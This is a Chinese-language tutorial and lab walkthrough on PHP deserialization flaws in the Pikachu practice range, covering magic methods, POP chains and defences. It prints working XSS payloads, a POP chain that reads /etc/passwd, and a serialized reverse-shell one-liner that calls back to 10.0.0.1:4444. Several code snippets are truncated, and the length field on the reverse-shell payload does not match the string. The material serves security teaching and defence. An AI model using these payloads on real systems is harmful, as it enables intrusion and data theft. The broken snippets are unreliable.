Pikachu靶场-PHP反序列化漏洞
PHP反序列化漏洞详解
1. 漏洞原理
PHP反序列化漏洞源于对不可信数据使用unserialize()函数时,未对输入进行严格校验,导致攻击者构造恶意序列化字符串触发类中的魔术方法(Magic Methods),从而执行任意代码或进行危险操作。
序列化与反序列化:
- 序列化:将对象转换为字符串(serialize()),便于存储或传输。
- 反序列化:将字符串还原为对象(unserialize())。
关键风险点:
- 若反序列化的数据来源不可控(如用户输入、Cookie、数据库字段),攻击者可注入恶意对象。
- 魔术方法(如__wakeup(), __destruct(), __toString())在反序列化过程中自动执行,可能被利用。
2. 漏洞利用场景
场景1:通过魔术方法执行代码
class Example {
private $cmd = "whoami";
public function __destruct() {
system($this->cmd); // 析构时执行系统命令
}
}
// 攻击者构造恶意序列化数据
$data = serialize(new Example());
// 输出:O:7:"Example":1:{s:12:"Examplecmd";s:6:"whoami";}
// 用户提交该数据触发命令执行:
unserialize($_GET['data']);
场景2:利用POP链(Property-Oriented Programming)
- 原理:通过多个类的属性与方法链式调用,触发危险操作。
- 示例:
class FileHandler { |
3. 漏洞危害
- 远程代码执行(RCE):通过system()、eval()等函数执行系统命令。
- 敏感信息泄露:读取配置文件(如config.php)、数据库凭据。
- 文件操作:删除、篡改文件(如植入Webshell)。
- 拒绝服务(DoS):通过无限递归或资源消耗导致服务崩溃。
4. 漏洞检测与利用
手动检测
- 寻找反序列化入口点:
- 搜索代码中的unserialize()函数。
- 检查参数来源(如$_GET、$_COOKIE、文件内容)。
- 构造POP链:
- 分析代码中的类及其魔术方法。
- 寻找可利用的方法链(如__destruct()→__toString()→文件操作)。
工具辅助
- PHPGGC:自动化生成常见框架(如Laravel、Symfony)的反序列化Payload。
- PHP-ast:静态分析工具,识别危险魔术方法。
- Burp Suite:拦截请求修改序列化数据测试漏洞。
5. 防御措施
方案1:避免反序列化不可信数据
使用安全替代方案:
- 用json_encode()/json_decode()代替serialize()/unserialize()。
白名单校验:
$allowed_classes = ['SafeClassA', 'SafeClassB'];
$data = unserialize($input, ['allowed_classes' => $allowed_classes]);
方案2:限制魔术方法的风险
避免在魔术方法中执行危险操作:
class SafeClass { |
方案3:数据完整性验证
- 签名验证:
$data = $_GET['data'];
$signature = hash_hmac('sha256', $data, $secret_key);
if ($signature === $_GET['sig']) {
$obj = unserialize($data);
}
方案4:安全配置
- 禁用危险函数(php.ini):
disable_functions = system, exec, shell_exec, passthru - 更新PHP版本:PHP 7.0+修复了部分反序列化漏洞(如类型混淆)。
6. 实际案例
- 案例1:Laravel RCE(CVE-2021-3129)
- 漏洞原因:反序列化时未过滤输入,结合Ignition组件的日志功能触发代码执行。
- Payload:利用phpggc生成恶意序列化数据,通过unserialize()执行命令。
- 案例2:WordPress插件漏洞
- 漏洞原因:用户输入的Cookie未经验证直接反序列化,导致攻击者上传Webshell。
7. 测试代码示例
// Vuln.php(存在漏洞的代码) // 攻击者提交Payload: |
8. 总结
- 风险等级:高危(可直接导致服务器沦陷)。
- 修复优先级:需立即修复。
- 防御核心:避免反序列化不可信数据 + 代码层严格控制魔术方法。
PHP序列化与反序列化安全示例整理
1. 什么是序列化(serialize)
序列化是将对象转化为字符串的过程,便于存储或传输。例如:
class S {
$s = new S(); // 创建一个对象 |
输出结果:
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
解释序列化格式:
标记 | 含义 |
O | object(对象) |
1 | 对象名称长度(S,1个字符) |
"S" | 对象名称 |
1 | 属性数量(1个属性) |
s | 属性名的数据类型(string) |
4 | 属性名长度(test,4个字符) |
"test" | 属性名 |
s | 属性值的数据类型(string) |
7 | 属性值长度(pikachu,7个字符) |
"pikachu" | 属性值 |
2. 什么是反序列化(unserialize)
反序列化是将序列化后的字符串还原为对象的过程。例如:
$u = unserialize('O:1:"S":1:{s:4:"test";s:7:"pikachu";}');
echo $u->test; // 输出 pikachu
3. 序列化反序列化存在的风险
如果反序列化的内容可被用户控制,且系统中使用了不安全的PHP魔法方法,容易造成安全漏洞(如代码执行、XSS等)。
常见的魔法方法(容易被利用的):
- __construct() :对象被创建时自动调用
- __destruct() :对象销毁时自动调用
- __toString() :对象被当作字符串时调用
- __sleep() :对象序列化前调用
- __wakeup() :对象反序列化后调用
4. 漏洞示例
代码示例:
class S { $a = $_GET['test']; // 用户可控 |
攻击Payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
攻击效果:
当反序列化后对象被销毁时,触发 __destruct() 方法,自动执行:
echo $this->test;
页面直接输出恶意的XSS脚本:
<script>alert('xss')</script>
造成跨站脚本攻击(XSS)。
5. 小结
- 永远不要反序列化用户可控的数据。
- 如果必须反序列化,考虑使用 unserialize 的第二个参数 allowed_classes 进行限制:
unserialize($data, ["allowed_classes" => ["SafeClass"]]);
- 优先使用安全的数据传输格式(比如 JSON 而非 PHP 序列化)
靶场测试
1,查看靶场功能
PHP反序列化漏洞分析及利用
1. 漏洞位置
$s = $_POST['o'];
$unser = unserialize($s); // 直接反序列化用户输入
- 关键问题:未对用户输入的 o 参数做任何过滤,直接传递给 unserialize()。
- 攻击入口:攻击者可构造恶意序列化数据,触发类属性覆盖或魔术方法执行。
2. 目标类分析
class S {
var $test = "pikachu";
function __construct() {
echo $this->test;
}
}
类特性:
- 类 S 包含一个公共属性 $test。
- 构造函数 __construct() 会输出 $test 的值。
可利用点:
- 反序列化时可通过覆盖 $test 属性注入恶意数据。
无危险魔术方法:未定义 __wakeup()、__destruct() 等高风险魔术方法。
3. 漏洞利用场景
场景1:XSS攻击(直接属性覆盖)
原理:覆盖 $test 属性为恶意 JavaScript 代码,输出时触发 XSS。
Payload 构造:
class S { |
序列化结果:
O:1:"S":1:{s:4:"test";s:29:"<script>alert("XSS")</script>";}
攻击效果:
场景2:文件读取(需结合其他类)
- 假设存在文件操作类(如 FileHandler):
class FileHandler { |
- 构造POP链:
$logger = new Logger();
$logger->log = new FileHandler();
$logger->log->filename = "/etc/passwd";
echo serialize($logger); - 序列化结果:
O:6:"Logger":1:{s:3:"log";O:11:"FileHandler":1:{s:8:"filename";s:11:"/etc/passwd";}} - 攻击效果:读取系统敏感文件。
场景3:远程命令执行(需结合危险类)
假设存在危险类(如 CommandExec):
class CommandExec { |
- Payload 构造:
$obj = new CommandExec();
$obj->cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f";
echo serialize($obj); - 序列化结果:
O:12:"CommandExec":1:{s:3:"cmd";s:62:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f";} - 攻击效果:反弹 Shell 到攻击者服务器。